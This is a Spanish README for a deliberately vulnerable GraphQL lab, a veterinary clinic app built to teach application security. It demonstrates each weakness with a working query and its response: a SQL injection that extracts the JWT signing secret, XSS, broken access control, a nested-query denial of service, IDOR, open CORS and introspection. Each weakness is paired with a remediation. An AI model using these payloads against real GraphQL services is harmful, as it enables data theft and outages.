
Investigación sobre GraphQL desde el punto de vista de AppSec.
Se ha creado un laboratorio para estudiar los diferentes problemas; este toma el contexto de una clínica veterinaria que gestiona la salud de perros.
El laboratorio fue desarrollado utilizando IntelliJ IDEA Community Edition.
Los dominios utilizados son los siguientes:```text
127.0.0.1 localhost 127.0.0.1 domain1.local 127.0.0.1 domain2.local
Estas son las condiciones y suposiciones del laboratorio:
* Un veterinario puede estar asociado con 0 o N perros.
* Un perro puede estar asociado con 0 o 1 veterinario.
* Un veterinario posee una propiedad llamada **Popularity** presente en el sistema de almacenamiento (base de datos), pero no debe ser accedida por el cliente GraphQL porque es información sensible.
* El punto de vista de consumo de datos de GraphQL es el veterinario. La información del perro es pública.
* El laboratorio es explícitamente una aplicación vulnerable en la que se han implementado varias vulnerabilidades y se identifican usando el marcador `[VULN]` en los comentarios.
* En cuanto a la autenticación, se ha implementado un servicio falso de terceros (a través de un servlet) que devuelve un token JWT que contiene el nombre del veterinario en el token.
Una vez iniciado mediante la configuración de lanzamiento presente en el proyecto o la línea de comandos `mvn spring-boot:run`, el laboratorio está disponible en estos endpoints:
* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)
Para empaquetar la aplicación como un archivo jar portátil, use el comando `mvn package` (un archivo jar preconstruido está disponible [aquí](https://github.com/righettod/poc-graphql/releases)):
* El archivo jar se creará en la carpeta *target* y se llamará *graphql-poc.jar*.
* Use el comando `java -jar graphql-poc.jar` para ejecutar la aplicación.
## Despliegue en Docker
> La imagen se publica todos los días en [DockerHub](https://hub.docker.com/r/righettod/poc-graphql)
Para desplegar la aplicación en un contenedor docker, siga los pasos:
1. Asegúrese de tener `docker` instalado.
2. Ejecute `git clone` del repositorio.
3. Cambie al directorio clonado.
4. Construya la imagen docker usando `docker build -t poc-graphql .`
5. Ahora se ha creado una imagen llamada **poc-graphql:latest** en su máquina.
6. Ejecute el contenedor usando `docker run -p 8080:8080 poc-graphql:latest`
7. Acceda al laboratorio usando los siguientes endpoints:
* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)
## Debilidades de seguridad
### Autorización
*control de acceso roto*
[CWE-285](https://cwe.mitre.org/data/definitions/285.html)
#### Problema
Como GraphQL se basa en un único endpoint al que se envían todas las solicitudes y dado que la autorización está fuera del alcance de la especificación (sin funcionalidades integradas).
Depende de la aplicación implementar una lógica de autorización.
En mi laboratorio tengo una vulnerabilidad en este punto porque la verificación del token de acceso no verifica que el token pertenezca al veterinario pasado en **veterinaryId**
**Ejemplo:**
Solicito un token de acceso para **Dr Julien** que tiene el identificador **3** en el almacenamiento enviando esta solicitud GraphQL:```javascript
query getAccessToken {
auth(veterinaryName: "Julien")
}
Recibo el token de acceso en la siguiente respuesta GraphQL:```javascript { "data": { "auth": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI" } }
Envío una solicitud GraphQL a la consulta `myInfo(...)` usando el token de acceso obtenido, PERO especifico el identificador **2** que es el del **Dr Benoit**:```javascript
query brokenAccessControl {
myInfo(accessToken:"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI", veterinaryId: 2){
id, name, dogs {
name
}
}
}
Recibo en la respuesta de GraphQL la lista de Dogs asociados con Dr Benoit:```javascript { "data": { "myInfo": { "id": 2, "name": "Benoit", "dogs": [ { "name": "Babou" }, { "name": "Baboune" }, { "name": "Babylon" }, ...
#### Recomendación
Con GraphQL, pasamos de una matriz de autorización usando `Role x Feature` a seguridad a nivel de datos usando `Role x Data` porque también hay un único endpoint. La identidad del usuario y los roles deben pasarse a la capa superior encargada de obtener los datos (o actuar sobre ellos) para aplicar una verificación utilizando la identidad del usuario antes de obtener los datos.
### Injection
[CWE-20](https://cwe.mitre.org/data/definitions/20.html) / [CWE-116](https://cwe.mitre.org/data/definitions/116.html)
#### Issue
Según cómo la información de la consulta/mutación/suscripción de la solicitud GraphQL es utilizada por el servidor GraphQL para actuar sobre los almacenes de datos, existe la posibilidad de inyección.
En mis laboratorios tengo una vulnerabilidad en este punto sobre SQLi en la consulta `dogs(namePrefix: String, limit: Int = 500): [Dog!]` porque el parámetro **namePrefix** se utiliza en la concatenación de cadenas para construir una consulta SQL.
**Ejemplo:**
Envío esta solicitud GraphQL para listar el contenido de la tabla `CONFIG````javascript
query sqli {
dogs(namePrefix: "ab%' UNION ALL SELECT 50 AS ID, C.CFGVALUE AS NAME, NULL AS VETERINARY_ID FROM CONFIG C LIMIT ? -- ", limit: 1000) {
id
name
}
}
Recibo en la respuesta de GraphQL el secreto utilizado para firmar el token JWT junto con el nombre del perro cuyo nombre comienza con ab:```javascript { "data": { "dogs": [ { "id": 1, "name": "Abi" }, { "id": 2, "name": "Abime" }, { "id": 50, "name": "$Nf!S?(.}DtV2~:Txw6:?;D!M+Z34^" } ] } }
Acerca de XSS, es interesante notar que la respuesta de GraphQL refleja el parámetro enviado en caso de fallo de validación en la solicitud enviada.
**Ejemplo:**
Envío esta solicitud GraphQL a la consulta `myInfo(accessToken: String!, veterinaryId: Int!): Veterinary`, reemplazo el identificador Veterinary (que es un entero) por un payload XSS de tipo String:```javascript
query xss {
myInfo(accessToken: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDU1MDQwfQ.P87Ef-GM99a_vzzbUf2RprUYxFgxgPnSukaVnz22BJ0",
veterinaryId: "<script>alert('XSS')</script>") {
id
}
}
Recibo esta respuesta GraphQL que refleja mi payload, por lo que, dependiendo del cliente GraphQL y su comportamiento de escaping/sanitizing, puede abrir la puerta a XSS:```javascript { "data": null, "errors": [ { "message": "Validation error of type WrongType: argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int' @ 'myInfo'", "locations": [ { "line": 3, "column": 5, "sourceName": null } ], "description": "argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int'", "validationErrorType": "WrongType", "queryPath": [ "myInfo" ], "errorType": "ValidationError", "path": null, "extensions": null } ] }
#### Recomendación
* Aplique validación de entrada en los datos recibidos a través de Query/Mutation/Subscription antes de usarlos
* Asegúrese de que el cliente que renderiza los datos de la respuesta GraphQL aplique escape/sanitización en los datos antes de renderizarlos.
### Agotamiento de recursos
[CWE-400](https://cwe.mitre.org/data/definitions/400.html)
#### Problema
Como el cliente controla la cantidad de datos solicitados, puede enviar una solicitud GrapQL a una consulta que provoque un agotamiento de recursos en los almacenes llamados por el servidor GraphQL, junto con el propio servidor GraphQL para la serialización de datos a JSON.
Este problema también puede ocurrir usando una mutación enviando una gran cantidad de datos en los parámetros (la validación de entrada se puede usar aquí para prevenir este ataque).
Este problema también puede ocurrir usando una suscripción de las siguientes maneras:
* Registrar una gran cantidad de suscriptores y en cada suscripción expuesta.
* Enviar una gran cantidad de datos en los parámetros utilizados por las suscripciones.
En mis laboratorios tengo una vulnerabilidad en este punto para consultas, precisamente en la consulta `allDogs(onlyFree: Boolean = false, limit: Int = 500): [Dog!]` que está disponible para usuarios anónimos y recupera el contenido de la BD sobre el perro. Como existe una relación entre Perros y un Veterinario y la inversa, entonces es posible realizar una llamada en cascada que causa agotamiento de recursos a nivel SQL en la BD.
**Ejemplo:**
Cuando envío esta solicitud, provoco que mi CPU llegue al 100% durante varios minutos y mi BD es local porque es un SQLite.```javascript
query dos {
allDogs(onlyFree: false, limit: 1000000) {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
}
}
}
}
}
}
}
}
}
}
}
}

Para Query:
Dependiendo de la implementación del servidor GraphQL utilizado, use la protección incorporada proporcionada para Maximum Query Depth y Query Complexity (ver especificaciones aquí).
Para la implementación en Java, agregue estas 2 clases de instrumentación a la estrategia de ejecución:
Vea esta clase para un ejemplo de uso de las 2 instrumentaciones anteriores.
Para Mutation/Subscription:
Con GraphQL, se ofrece al cliente una característica de introspección para acceder al esquema de la API y descubrir los datos disponibles, así como los Query, Mutation y Subscription sobre ellos.
Nota: Deshabilitar Introspection pone su servidor en contravención de la especificación de GraphQL y las expectativas de la mayoría de los clientes, así que utilícelo con precaución; prefiera filtrar el acceso en lugar de deshabilitarlo desde un punto de vista comercial.
Esto implica que cualquier cliente puede profundizar en el esquema para ver en Type si se expone alguna información sensible interesante (es la misma observación sobre la acción con respecto a Mutation o Subscription expuestos).
Usando GraphiQL a través del panel Documentation Explorer o este script es posible navegar por el esquema expuesto desde un endpoint de GrapQL.
En mi laboratorio, expuse por error la información de popularidad considerada como sensible sobre un Veterinary en el Type Veterinary.
En mi laboratorio, esta url permite obtener una copia del esquema.
Ejemplo:
Usando el panel Documentation Explorer, encontré este campo:



Se puede establecer una restricción de autenticación en el acceso al endpoint de GraphQL para evitar la exposición a usuarios anónimos, pero cualquier usuario autenticado accederá a este esquema de información.
Incluso si un cliente puede ver la estructura de un tipo que expone información sensible, para ver esta información necesita tener permiso en el Query/Mutation/Subscription que devuelve estos datos.
No mapee información sensible en el tipo definido en el esquema.
Como GraphQL materializa cómo el cliente consumirá los datos, GraphQL no debe exponer todos los datos disponibles en el almacenamiento vinculado, sino aquellos útiles para el cliente según el contexto de negocio de la API GraphQL expuesta a ellos.
Cuando el servidor GraphQL encuentra un error inesperado (E/S con almacenamientos, NullPointerException, Timeout...), la respuesta indica Internal Server Error(s) while executing query, lo que da una pista al atacante de que ha actuado en el sistema y causado un comportamiento inesperado.
Ejemplo:
Cuando envío esta consulta de solicitud en mi laboratorio (token inválido):```javascript query testErrorHandling { myInfo(accessToken:"aaaa", veterinaryId: 2){ id, name, dogs { name,veterinary{ name } } } }
Recibo una respuesta que me informa que he actuado sobre el sistema y causado un comportamiento inesperado. Quizás, por ejemplo, he generado un stack trace en el registro de la aplicación, y si los archivos de registro de la aplicación rotan por fecha (diariamente) y no por tamaño, entonces puedo enviar esta solicitud varias veces para llenar el disco con registros de errores...```javascript
{
"data": {
"myInfo": null
},
"errors": [
{
"message": "Internal Server Error(s) while executing query",
"path": null,
"extensions": null
}
]
}
Retorna un error genérico si se encuentra un error inesperado, como por ejemplo ¡La consulta no puede ser procesada!
Vea un ejemplo en esta clase.
Si la API de GraphQL expone Query/Mutation/Subscription cuyo identificador de datos es adivinable/predecible, entonces esas Query/Mutation/Subscription están expuestas a un ataque IDOR en el cual el atacante usará una lista construida a medida de identificadores para intentar acceder o actuar sobre datos que tengan un identificador que esté en la lista, y la acción tendrá éxito si también hay problemas de autorización en la Query/Mutation/Subscription objetivo que maneja los datos objetivo.
La Query/Mutation/Subscription de la API GraphQL propuesta por mis laboratorios es vulnerable a IDOR porque uso números enteros secuenciales como identificadores únicos para Dog y Veterinary.
Ejemplo:
Usando el Documentation Explorer de GraphiQL vemos que los identificadores son números enteros simples y secuenciales:


Consulta de solicitud para detectar IDOR:```javascript query detectIDOR { allDogs{ id,veterinary{ id } } }
La respuesta muestra el identificador secuencial para Dog y Veterinay:```javascript
{
"data": {
"allDogs": [
{
"id": 1,
"veterinary": {
"id": 1
}
},
{
"id": 2,
"veterinary": {
"id": 1
}
},
{
"id": 3,
"veterinary": {
"id": 1
}
},
...
{
"id": 55,
"veterinary": {
"id": 2
}
},
{
"id": 56,
"veterinary": {
"id": 2
}
},
{
"id": 57,
"veterinary": {
"id": 2
}
},
{
"id": 58,
"veterinary": {
"id": 2
}
},
{
"id": 59,
"veterinary": {
"id": 2
}
...
Al usar un servidor de implementación GraphQL para construir tu API GraphQL, puede ocurrir que este habilite por defecto algunas características que exponen la API GraphQL a la esfera incorrecta de clientes.
En mi laboratorio es el caso porque, por defecto, se expone un endpoint WebSocket en la ruta /subscriptions y no requiere autenticación (ver esta doc precisamente la sección Actualizaciones en tiempo real con suscripciones):

Los clientes pueden obtener acceso a los datos de la API a través de este endpoint si el esquema declara suscripciones en la sección Subscription.
Ejemplo:
Puedo ver las suscripciones expuestas a través del esquema:

Si envío esta solicitud de suscripción para recibir eventos de la suscripción newAssociation:```javascript subscription subscribeToNewAssociation{ newAssociation }
Recibo el siguiente mensaje que indica que, a partir de ahora, recibiré información de esta suscripción:```text
Your subscription data will appear here after server publication!
Y cuando creo una asociación mediante esta solicitud de mutación en otro navegador, por ejemplo:```javascript mutation associateDog{ associateDogToMe(accessToken: "eyJ0eXAiOiJKV1Qi...", veterinaryId: 4, dogId: 198){ name } }
La respuesta de mutación demuestra que la acción se ha realizado a nivel de datos:```javascript
{
"data": {
"associateDogToMe": {
"name": "Dobby"
}
}
}
Después de un momento, recibo esta notificación en respuesta a mi suscripción:```javascript { "newAssociation": "Dog['Dobby'] associated with Veterinary['Maxime']." }

##### Habilitación predeterminada de Cross-Origin Resource Sharing
En mi laboratorio es el caso porque, por defecto, [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) está habilitado y configurado como `*`, por lo que la API puede ser llamada desde cualquier `origin`.
**Ejemplo:**
Cuando envío esta solicitud en la que especifico un `origin` diferente de *domain1.local* a *domain2.local*:```text
POST /graphql HTTP/1.1
Host: domain2.local:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: application/json
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/json
origin: http://domain1.local:8080
referer: http://domain1.local:8080
Content-Length: 104
DNT: 1
Connection: close
Pragma: no-cache
Cache-Control: no-cache
{"query":"query testCORS {\n allDogs{\n name\n }\n}\n","variables":null,"operationName":"testCORS"}
Recibo esta respuesta:```text HTTP/1.1 200 OK Connection: close Access-Control-Allow-Origin: * Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Content-Type: application/json;charset=UTF-8 Content-Length: 3562 Date: Sat, 05 Jan 2019 16:23:47 GMT
{"data":{"allDogs":[{"name":"Abi"},...
Llamada desde un navegador:


#### Recomendación
Verifique las funciones habilitadas por defecto y desactívelas si afectan la exposición de la API.
Para el endpoint de Suscripciones:
* Si expone la suscripción, asegúrese de que haya Autenticación y Control de Acceso en cada suscripción expuesta en el esquema.
* Si no expone la suscripción, desactive el endpoint WebSocket o bloquee este endpoint a nivel de WAF/Servidor de Aplicaciones.
En mi laboratorio, se debían establecer las siguientes opciones en este [archivo de configuración](https://github.com/righettod/poc-graphql/blob/master/src/main/resources/application.properties):
* Para CORS: `graphql.servlet.corsEnabled=false`
* Para WebSocket: `graphql.servlet.websocket.enabled=false`
## Consultas de descubrimiento
Las siguientes consultas se pueden usar para obtener el esquema.
No detalladas:```javascript
{
__schema {
types {
name
kind
description
fields {
name
}
}
}
}
Detalles:```javascript query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } }
fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } }
fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue }
fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }
## Referencias utilizadas
### GraphQL
* [Sitio de GraphQL](https://graphql.org/)
* [Tutoriales de GraphQL](https://www.howtographql.com/)
* [Blog de DOYENSEC sobre problemas de GraphQL](https://blog.doyensec.com/2018/05/17/graphql-security-overview.html)
### Laboratorios
* [graphql-spring-boot](https://github.com/graphql-java-kickstart/graphql-spring-boot)
* [graphql-java-kickstart](https://www.graphql-java-kickstart.com)